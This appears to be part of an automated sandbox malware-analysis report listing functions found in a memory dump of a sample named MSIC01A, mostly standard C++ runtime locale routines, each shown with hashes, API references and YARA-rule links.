Instruction ID: 6ed37c7ced05e5905b8249c41975afb8382cabbd23c370953588933b52e2bc37
Opcode Fuzzy Hash: 93de434a40671367c6f55b63474d5d31fd7b4c53008ab27f29ae3e84b2ce87b3
Instruction Fuzzy Hash: 09519072A00206AFEB219FA5DC81EBF7AA9EF54764B150229FD04D7151F735DC10B760

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B8B0 Relevance: 7.6, APIs: 5, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F3B8DD
std::_Lockit::_Lockit.LIBCPMT ref: 00F3B900
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B928
std::_Facet_Register.LIBCPMT ref: 00F3B98D
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3B9B7

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 6cd991276e04835ba34c916d6f36d0fed1b91c6402fc7b35d6d68beaa2aa5c0d
Instruction ID: 5bad69d9f45332281d22f02824acfe03005411300adbb709c65469567f28a10e
Opcode Fuzzy Hash: 6cd991276e04835ba34c916d6f36d0fed1b91c6402fc7b35d6d68beaa2aa5c0d
Instruction Fuzzy Hash: 9A310631D01218DFCB11CF54D990BAEBBB4EF24334F144159EA046B3A1DB35AE01EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F35890 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,76ED4450,00F35646,?,?,?,?,?), ref: 00F35898

Strings

Last error=, xrefs: 00F358D9
false, xrefs: 00F358A2
Call to ShellExecuteEx() returned:, xrefs: 00F358AF
true, xrefs: 00F358A7, 00F358B6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: a7ad338a37c776e7e59367e4a35f215c0bdd3bb9c1ccb662b5f0057e1da73ca4
Instruction ID: ea442c78fff1aa600f8cc873ffe924270823cd926eea2f8a56c2540954e95bde
Opcode Fuzzy Hash: a7ad338a37c776e7e59367e4a35f215c0bdd3bb9c1ccb662b5f0057e1da73ca4
Instruction Fuzzy Hash: 3C118E56E1162587CB302F6CD8003A6B2E4DF90B74F65047FE889D7392EAB98C81A394

Uniqueness

Uniqueness Score: -1.00%

Function 00F41C42 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00F41C62
_Maklocstr.LIBCPMT ref: 00F41C7F
_Maklocstr.LIBCPMT ref: 00F41C9C
_Maklocchr.LIBCPMT ref: 00F41CAE
_Maklocchr.LIBCPMT ref: 00F41CC1

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: e822b428384f5cf927c2b830cf53579db6d2aa42234418f3855afb998f49694f
Instruction ID: a3645a512ece124c0e37acec273f08a27b5aa4fab1b05b4d7716dbab55ea7889
Opcode Fuzzy Hash: e822b428384f5cf927c2b830cf53579db6d2aa42234418f3855afb998f49694f
Instruction Fuzzy Hash: 951191B1940784BFE720DBA4CC81F52BBECBF04750F040519FA55CBA41D268FC9497A9

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D87C Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F3D883
std::_Lockit::_Lockit.LIBCPMT ref: 00F3D88D

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

numpunct.LIBCPMT ref: 00F3D8C7
std::_Facet_Register.LIBCPMT ref: 00F3D8DE
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3D8FE

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: dccd47c2c63d05e4372774c8000d2e186f6a27ec63241096fc0d7e9754282f9b
Instruction ID: 9ffb3cb021d0df5b9ccf580af35667caed58ab6dcf9af08df59a121a9dea94c7
Opcode Fuzzy Hash: dccd47c2c63d05e4372774c8000d2e186f6a27ec63241096fc0d7e9754282f9b
Instruction Fuzzy Hash: DE11CE35D0061ADFCB09FB64AC416BE7B60AF84730F240459F911AB2D1CF78AE05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F422FA Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42301
std::_Lockit::_Lockit.LIBCPMT ref: 00F4230B

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

codecvt.LIBCPMT ref: 00F42345
std::_Facet_Register.LIBCPMT ref: 00F4235C
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4237C

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: a27a86e3a5144d13edc9973fa1a62885075704da6d2b1f8ad42b43c3f96a4bb3
Instruction ID: 62cd35d2af9d8fcc505e281b31c14597def64ee5e1ec76cc257d88074e9e2c9d
Opcode Fuzzy Hash: a27a86e3a5144d13edc9973fa1a62885075704da6d2b1f8ad42b43c3f96a4bb3
Instruction Fuzzy Hash: 4901C031900619DBCB05EB64DC41ABEBBB0AF80720F250519F914AB3D2DF7C9E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4238F Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42396
std::_Lockit::_Lockit.LIBCPMT ref: 00F423A0

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

codecvt.LIBCPMT ref: 00F423DA
std::_Facet_Register.LIBCPMT ref: 00F423F1
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42411

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 60399aa4ede025215fd9d03295115a201834976d42152d336d78de5ffbb85f50
Instruction ID: 57ce6552136268a3d491f827611622f7b8a2138c9748beaac85eba20b44209cf
Opcode Fuzzy Hash: 60399aa4ede025215fd9d03295115a201834976d42152d336d78de5ffbb85f50
Instruction Fuzzy Hash: BF01C031900219DBCB05EB649C416BE7BB1BF80720F240419F9106B2D2CFBC9E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F424B9 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F424C0
std::_Lockit::_Lockit.LIBCPMT ref: 00F424CA

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

collate.LIBCPMT ref: 00F42504
std::_Facet_Register.LIBCPMT ref: 00F4251B
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4253B

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 59f2c9dce089709517fc5843e30aa9d91e972ee1d4fa9bce7ee4db396fd29099
Instruction ID: a7b81481d332c681f47a52e0567b898596eb4934324653fbd4de54ca63b071c0
Opcode Fuzzy Hash: 59f2c9dce089709517fc5843e30aa9d91e972ee1d4fa9bce7ee4db396fd29099
Instruction Fuzzy Hash: C701D231900619DBCB05EB64DC456BE7B60AF84730F250419F910AB3D2CF789E05BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42424 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4242B
std::_Lockit::_Lockit.LIBCPMT ref: 00F42435

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

collate.LIBCPMT ref: 00F4246F
std::_Facet_Register.LIBCPMT ref: 00F42486
std::_Lockit::~_Lockit.LIBCPMT ref: 00F424A6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 59a340c1da3e8d3556afecc62b59908d5e09e0577dbbb01d7274f29a6ee3b561
Instruction ID: 7132f5c97c606bb244e5e9858aa27dfb9e73738f185fedd0a99bb2c089e9414c
Opcode Fuzzy Hash: 59a340c1da3e8d3556afecc62b59908d5e09e0577dbbb01d7274f29a6ee3b561
Instruction Fuzzy Hash: 13018031900619DBCB05EB64DC416BEBF61AF84730F250419F9146B3D2DF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F425E3 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F425EA
std::_Lockit::_Lockit.LIBCPMT ref: 00F425F4

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

messages.LIBCPMT ref: 00F4262E
std::_Facet_Register.LIBCPMT ref: 00F42645
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42665

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 0d46b8e6adfc85ad8c1c42537ab3cef6fa2d66a1782dbfe158294973c67aefba
Instruction ID: be96df7534fdcd8a7e0bfb0caf2f093d962d7e09ce5b93f291acaed534f545ee
Opcode Fuzzy Hash: 0d46b8e6adfc85ad8c1c42537ab3cef6fa2d66a1782dbfe158294973c67aefba
Instruction Fuzzy Hash: D701CC31900219DBCB05FB649C51ABE7BA0BF80760F254419F910AB3D2CF789E01EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4254E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42555
std::_Lockit::_Lockit.LIBCPMT ref: 00F4255F

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

ctype.LIBCPMT ref: 00F42599
std::_Facet_Register.LIBCPMT ref: 00F425B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00F425D0

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: 87ba56ff98927c68e8fff656774dcee4362844064d50ded4d42426e04a173b03
Instruction ID: 2cdcea3b5a7e975673b5cb798c51c75b653d07012a5ee140a503374c63e7d5cf
Opcode Fuzzy Hash: 87ba56ff98927c68e8fff656774dcee4362844064d50ded4d42426e04a173b03
Instruction Fuzzy Hash: EB010032800219DBCB00EB64CC41ABE7B70AF84320F280419F910AB2D2DF789E05FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D6BD Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F3D6C4
std::_Lockit::_Lockit.LIBCPMT ref: 00F3D6CE

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

codecvt.LIBCPMT ref: 00F3D708
std::_Facet_Register.LIBCPMT ref: 00F3D71F
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3D73F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 5f87fc3a4a6ddf2d5a3316ec87a3fddd45b3530befbb5103fc66b4806ca616d1
Instruction ID: 360615233922cea01aa10b4ec6bf242756ccb5a8321d3f35ba88475999d20ddc
Opcode Fuzzy Hash: 5f87fc3a4a6ddf2d5a3316ec87a3fddd45b3530befbb5103fc66b4806ca616d1
Instruction Fuzzy Hash: 4D019E35900619DBCB15FB64EC41ABE7BB1BF84730F250909F914AB2D2CF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42678 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4267F
std::_Lockit::_Lockit.LIBCPMT ref: 00F42689

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

messages.LIBCPMT ref: 00F426C3
std::_Facet_Register.LIBCPMT ref: 00F426DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00F426FA

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 6db0bfbb12c82b7c20b93c57e6df71a3bd6bbc8400b51fe9a50af610b25041fb
Instruction ID: 1f06e821dc248e3c11f7a7fa2646ab66b5a2c108001eb6143e31461e823eb404
Opcode Fuzzy Hash: 6db0bfbb12c82b7c20b93c57e6df71a3bd6bbc8400b51fe9a50af610b25041fb
Instruction Fuzzy Hash: 8701C031900619DFCB05FB64CC41ABE7B60AF84720F254459F910AB2D2DF789E05BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4E8D8 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4E8DF
std::_Lockit::_Lockit.LIBCPMT ref: 00F4E8E9

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

messages.LIBCPMT ref: 00F4E923
std::_Facet_Register.LIBCPMT ref: 00F4E93A
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4E95A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: b7e9d97f8df1a78ef247cfa857ea181e1f833efa937f6eb0ca90a9757d4d3689
Instruction ID: dfa706a8e1db87256e0b0976a30cd41c4509a8f88bf6616b9c363387b7360433
Opcode Fuzzy Hash: b7e9d97f8df1a78ef247cfa857ea181e1f833efa937f6eb0ca90a9757d4d3689
Instruction Fuzzy Hash: A3019232900619DFCB05EB64DC45ABE7BA1BF84720F250549F914AB3D2CF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4E843 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4E84A
std::_Lockit::_Lockit.LIBCPMT ref: 00F4E854

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

collate.LIBCPMT ref: 00F4E88E
std::_Facet_Register.LIBCPMT ref: 00F4E8A5
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4E8C5

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 0a1363b2f647e6ad0563c44271dc30627de41ab01c1c28bfe5699dda676bb79f
Instruction ID: f49a8e6202a865fc72228f7b903ef61f051d3802e79267395cc716cb00c1841d
Opcode Fuzzy Hash: 0a1363b2f647e6ad0563c44271dc30627de41ab01c1c28bfe5699dda676bb79f
Instruction Fuzzy Hash: 65018036900619DFCB05FB649C41ABE7BB1BF84720F244409F914AB2D2DF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F429F6 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F429FD
std::_Lockit::_Lockit.LIBCPMT ref: 00F42A07

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F42A41
std::_Facet_Register.LIBCPMT ref: 00F42A58
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42A78

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: b4bfa00f9b75752fd066a7383acd79acdccb639f2a7aedb8337a41436faceb93
Instruction ID: 9221d27173f021c500df3549786e5f7e8097008234ce23dbca46ad121f0cf331
Opcode Fuzzy Hash: b4bfa00f9b75752fd066a7383acd79acdccb639f2a7aedb8337a41436faceb93
Instruction Fuzzy Hash: E701DE31900229DBCB15EF64CC41ABE7BA1AF84760F250419FD10AB2D2CF7C9E06AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42961 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42968
std::_Lockit::_Lockit.LIBCPMT ref: 00F42972

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F429AC
std::_Facet_Register.LIBCPMT ref: 00F429C3
std::_Lockit::~_Lockit.LIBCPMT ref: 00F429E3

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 38b473b293f0a1e5079636c7748f537a01530b71456fb1af62c08acac2922792
Instruction ID: 52a00d07e30ed0c8e20e179b87849d418ee17c12e2df70e341de320cda09da71
Opcode Fuzzy Hash: 38b473b293f0a1e5079636c7748f537a01530b71456fb1af62c08acac2922792
Instruction Fuzzy Hash: EF01DE31900619DBCB05FB64CC42ABE7BB0AF84760F250519FE10AB2D2DF789E01BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4EA97 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4EA9E
std::_Lockit::_Lockit.LIBCPMT ref: 00F4EAA8

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

moneypunct.LIBCPMT ref: 00F4EAE2
std::_Facet_Register.LIBCPMT ref: 00F4EAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4EB19

Memory Dump Source

